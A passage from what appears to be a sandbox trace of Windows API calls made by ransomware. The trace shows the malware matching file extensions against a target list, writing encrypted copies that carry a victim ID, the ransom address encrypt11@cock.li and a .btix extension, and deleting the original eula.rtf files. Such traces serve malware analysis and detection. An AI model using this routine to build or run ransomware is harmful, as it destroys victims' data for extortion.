lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.923] lstrlenW (lpString=".ppt") returned 4 [0043.923] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.923] lstrlenW (lpString=".zip") returned 4 [0043.923] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.923] lstrlenW (lpString=".rar") returned 4 [0043.923] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.923] lstrlenW (lpString=".bz2") returned 4 [0043.923] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.923] lstrlenW (lpString=".7z") returned 3 [0043.923] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.923] lstrlenW (lpString=".dbf") returned 4 [0043.923] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".1cd") returned 4 [0043.924] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".jpg") returned 4 [0043.924] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".doc") returned 4 [0043.924] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString=".docx") returned 5 [0043.924] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.924] lstrlenW (lpString=".pdf") returned 4 [0043.924] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString=".xls") returned 4 [0043.924] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.924] lstrlenW (lpString=".xlsx") returned 5 [0043.924] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.924] lstrlenW (lpString=".ppt") returned 4 [0043.924] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".zip") returned 4 [0043.924] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.924] lstrlenW (lpString=".rar") returned 4 [0043.924] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString=".bz2") returned 4 [0043.924] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString=".7z") returned 3 [0043.924] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".dbf") returned 4 [0043.924] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".1cd") returned 4 [0043.924] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0043.924] lstrlenW (lpString=".jpg") returned 4 [0043.925] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.925] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.925] lstrlenW (lpString="eula.rtf") returned 8 [0043.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.925] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=4015) returned 1 [0043.925] CloseHandle (hObject=0x368) returned 1 [0043.925] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0043.926] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.926] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.926] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.929] GetLastError () returned 0x0 [0043.929] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xfaf, lpOverlapped=0x0) returned 1 [0043.954] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xfb0, lpOverlapped=0x0) returned 1 [0043.955] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.955] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.955] SetEndOfFile (hFile=0x36c) returned 1 [0043.955] CloseHandle (hObject=0x36c) returned 1 [0043.956] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.956] SetEndOfFile (hFile=0x368) returned 1 [0043.957] CloseHandle (hObject=0x368) returned 1 [0043.957] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.957] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0043.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.957] lstrlenW (lpString=".doc") returned 4 [0043.957] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.957] lstrlenW (lpString=".docx") returned 5 [0043.957] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.957] lstrlenW (lpString=".pdf") returned 4 [0043.957] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.957] lstrlenW (lpString=".xls") returned 4 [0043.957] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.957] lstrlenW (lpString=".xlsx") returned 5 [0043.958] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.958] lstrlenW (lpString=".ppt") returned 4 [0043.958] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString=".zip") returned 4 [0043.958] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.958] lstrlenW (lpString=".rar") returned 4 [0043.958] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString=".bz2") returned 4 [0043.958] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString=".7z") returned 3 [0043.958] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString=".dbf") returned 4 [0043.958] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString=".1cd") returned 4 [0043.958] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString=".jpg") returned 4 [0043.958] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.958] lstrlenW (lpString=".doc") returned 4 [0043.958] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString=".docx") returned 5 [0043.958] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.958] lstrlenW (lpString=".pdf") returned 4 [0043.958] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.958] lstrlenW (lpString=".xls") returned 4 [0043.958] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.959] lstrlenW (lpString=".xlsx") returned 5 [0043.959] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.959] lstrlenW (lpString=".ppt") returned 4 [0043.959] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.959] lstrlenW (lpString=".zip") returned 4 [0043.959] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.959] lstrlenW (lpString=".rar") returned 4 [0043.959] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.959] lstrlenW (lpString=".bz2") returned 4 [0043.959] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.959] lstrlenW (lpString=".7z") returned 3 [0043.959] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.959] lstrlenW (lpString=".dbf") returned 4 [0043.959] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.959] lstrlenW (lpString=".1cd") returned 4 [0043.959] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.959] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0043.959] lstrlenW (lpString=".jpg") returned 4 [0043.959] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.959] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.959] lstrlenW (lpString="eula.rtf") returned 8 [0043.959] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.960] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=6309) returned 1 [0043.960] CloseHandle (hObject=0x368) returned 1 [0043.960] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80 [0043.960] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.960] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.960] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.960] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.960] GetLastError () returned 0x0 [0043.960] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0043.984] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0043.984] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0043.985] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0043.985] SetEndOfFile (hFile=0x36c) returned 1 [0043.985] CloseHandle (hObject=0x36c) returned 1 [0043.985] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.985] SetEndOfFile (hFile=0x368) returned 1 [0043.986] CloseHandle (hObject=0x368) returned 1 [0043.986] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0043.986] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString=".doc") returned 4 [0043.987] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString=".docx") returned 5 [0043.987] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.987] lstrlenW (lpString=".pdf") returned 4 [0043.987] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString=".xls") returned 4 [0043.987] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.987] lstrlenW (lpString=".xlsx") returned 5 [0043.987] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.987] lstrlenW (lpString=".ppt") returned 4 [0043.987] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString=".zip") returned 4 [0043.987] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.987] lstrlenW (lpString=".rar") returned 4 [0043.987] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString=".bz2") returned 4 [0043.987] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString=".7z") returned 3 [0043.987] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString=".dbf") returned 4 [0043.987] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString=".1cd") returned 4 [0043.987] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.987] lstrlenW (lpString=".jpg") returned 4 [0043.987] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString=".doc") returned 4 [0043.988] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString=".docx") returned 5 [0043.988] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0043.988] lstrlenW (lpString=".pdf") returned 4 [0043.988] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString=".xls") returned 4 [0043.988] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0043.988] lstrlenW (lpString=".xlsx") returned 5 [0043.988] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0043.988] lstrlenW (lpString=".ppt") returned 4 [0043.988] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString=".zip") returned 4 [0043.988] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0043.988] lstrlenW (lpString=".rar") returned 4 [0043.988] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString=".bz2") returned 4 [0043.988] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString=".7z") returned 3 [0043.988] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0043.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString=".dbf") returned 4 [0043.988] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString=".1cd") returned 4 [0043.988] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0043.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\eula.rtf") returned 35 [0043.988] lstrlenW (lpString=".jpg") returned 4 [0043.988] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0043.988] lstrcmpiW (lpString1=".rtf", lpString2=".btix") returned 1 [0043.989] lstrlenW (lpString="eula.rtf") returned 8 [0043.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.989] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=3069) returned 1 [0043.989] CloseHandle (hObject=0x368) returned 1 [0043.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80 [0043.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0043.989] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.989] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0043.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.989] GetLastError () returned 0x0 [0043.989] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0xbfd, lpOverlapped=0x0) returned 1 [0044.090] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xc00, lpOverlapped=0x0) returned 1 [0044.091] ReadFile (in: hFile=0x368, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.091] WriteFile (in: hFile=0x36c, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xe4, lpOverlapped=0x0) returned 1 [0044.092] SetEndOfFile (hFile=0x36c) returned 1 [0044.092] CloseHandle (hObject=0x36c) returned 1 [0044.092] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.092] SetEndOfFile (hFile=0x368) returned 1 [0044.093] CloseHandle (hObject=0x368) returned 1 [0044.093] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.093] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString=".doc") returned 4 [0044.094] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString=".docx") returned 5 [0044.094] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0044.094] lstrlenW (lpString=".pdf") returned 4 [0044.094] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString=".xls") returned 4 [0044.094] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0044.094] lstrlenW (lpString=".xlsx") returned 5 [0044.094] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0044.094] lstrlenW (lpString=".ppt") returned 4 [0044.094] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString=".zip") returned 4 [0044.094] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0044.094] lstrlenW (lpString=".rar") returned 4 [0044.094] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString=".bz2") returned 4 [0044.094] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString=".7z") returned 3 [0044.094] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString=".dbf") returned 4 [0044.094] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString=".1cd") returned 4 [0044.094] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0044.094] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.094] lstrlenW (lpString=".jpg") returned 4 [0044.094] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString=".doc") returned 4 [0044.095] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString=".docx") returned 5 [0044.095] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0044.095] lstrlenW (lpString=".pdf") returned 4 [0044.095] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString=".xls") returned 4 [0044.095] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0044.095] lstrlenW (lpString=".xlsx") returned 5 [0044.095] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0044.095] lstrlenW (lpString=".ppt") returned 4 [0044.095] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString=".zip") returned 4 [0044.095] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0044.095] lstrlenW (lpString=".rar") returned 4 [0044.095] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString=".bz2") returned 4 [0044.095] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0044.095] lstrlenW (lpString=".7z") returned 3 [0044.095] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0044.095] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35 [0044.095] lstrlenW (lpString=".dbf") returned 4 [0044.095] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0044.095] lstrlenW 